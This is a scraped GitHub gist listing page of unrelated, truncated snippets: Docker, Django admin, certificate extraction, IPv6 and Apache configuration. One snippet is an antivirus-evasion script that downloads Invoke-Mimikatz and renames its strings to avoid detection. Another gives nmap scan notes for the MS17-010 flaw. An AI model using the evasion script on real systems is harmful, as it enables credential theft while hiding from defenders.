Skip to content

Instantly share code, notes, and snippets.

@zebde
zebde / Dockerfile
Last active February 21, 2018 10:52
Viper-web-update Dockerfile
FROM python:3
LABEL version="0.3"
RUN sed -i "s/jessie main/jessie main contrib non-free/" /etc/apt/sources.list
RUN apt-get update -qq && \
apt-get -y --no-install-recommends install flex bison libjansson-dev libmagic-dev unrar exiftool gcc python-socksipy libssl-dev swig p7zip-full ssdeep libfuzzy-dev tor clamav-daemon -qq && \
apt-get clean && \
rm -rf /var/lib/apt/lists/* /var/tmp/*
@PaulSec
PaulSec / invoke_evasion.sh
Created August 1, 2017 13:50
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555
# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
@Greymalkin
Greymalkin / gist:f892e52ec541a7220252ac31b6a2abb0
Last active April 12, 2020 14:35
Inline Admin aware of Parent Object and affecting Generic Foreign Key Content Type choices
# in models.py
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.db import models
class Screen(models.Model):
# Screen Model: Ties into all shows, drives instance selection when using generic foreign keys
name = models.CharField(max_length=50)
limit = (models.Q(
models.Q(app_label='case_story', model='casestoryshow') |
@whereisaaron
whereisaaron / pfx-to-crt-and-key.sh
Last active March 5, 2024 18:13
Extract a crt file (PEM), key file, and chain bundle from a PFX file, prompts for password or use PFXPASSWORD environment variable
#!/bin/bash
#------------------
# Extract the key, certficiate, and chain in PEM format from a PFX format file
#
# Must supply the input pfx file
PFX_PATH="$1"
if [ "${PFX_PATH}" == "" ]; then
echo "Must supply pfx file path"
exit 1
@Neo23x0
Neo23x0 / nmap-cmdline
Last active March 19, 2020 17:10
Nmap Scan Params for CVE-2017-0143 MS17-010 Scanning
# Scan for CVE-2017-0143 MS17-010
# The vulnerability used by WannaCry Ransomware
#
# 1. Use @calderpwn's script
# http://seclists.org/nmap-dev/2017/q2/79
#
# 2. Save it to Nmap NSE script directory
# Linux - /usr/share/nmap/scripts/ or /usr/local/share/nmap/scripts/
# OSX - /opt/local/share/nmap/scripts/
#
@wido
wido / mac2eui64.py
Created December 21, 2016 11:56
Python 3 48-bit MAC to EUI-64 IPv6
#!/usr/bin/env python3
import ipaddress
import re
def mac2eui64(mac, prefix=None):
'''
Convert a MAC address to a EUI64 address
or, with prefix provided, a full IPv6 address
'''
@daronco
daronco / letsencrypt-webroot-apache.md
Last active February 15, 2024 11:50
Letsencrypt with webroot on Apache

Config Apache with /etc/apache2/conf-available/le.conf:

Alias /.well-known/acme-challenge/ "/var/www/html/.well-known/acme-challenge/"
<Directory "/var/www/html/">
    AllowOverride None
    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
    Require method GET POST OPTIONS
</Directory>
@lazywinadmin
lazywinadmin / Timeout.ps1
Created August 26, 2015 14:44
Timeout in powershell
#requires -Version 2
$maximumRuntimeSeconds = 3
$process = Start-Process -FilePath powershell.exe -ArgumentList '-Command Start-Sleep -Seconds 4' -PassThru
try
{
$process | Wait-Process -Timeout $maximumRuntimeSeconds -ErrorAction Stop
Write-Warning -Message 'Process successfully completed within timeout.'
@alexpearce
alexpearce / ssotutorial.apacheconf
Last active October 21, 2021 02:31
Apache configuration file for a virtual host running Flask behind a uWSGI server, authentication with Shibboleth SSO
# Apache server configuration for ssotutorial.
# This sets up a Flask application over SSL with CERN SSO authentication via
# Shibboleth.
# Load the SSL and Shibboleth modules
LoadModule ssl_module modules/mod_ssl.so
LoadModule mod_shib /usr/lib64/shibboleth/mod_shib_22.so
# Disable TRACE HTTP requests on CERN advice
TraceEnable Off
@shymonk
shymonk / customize-save-in-django-admin-inline-form.org
Last active April 14, 2024 02:55
How to customize save in django admin inline form?

Customize Save In Django Admin Inline Form

Background

This is a common case in django ORM.

from django.db import models

class Author(models.Model):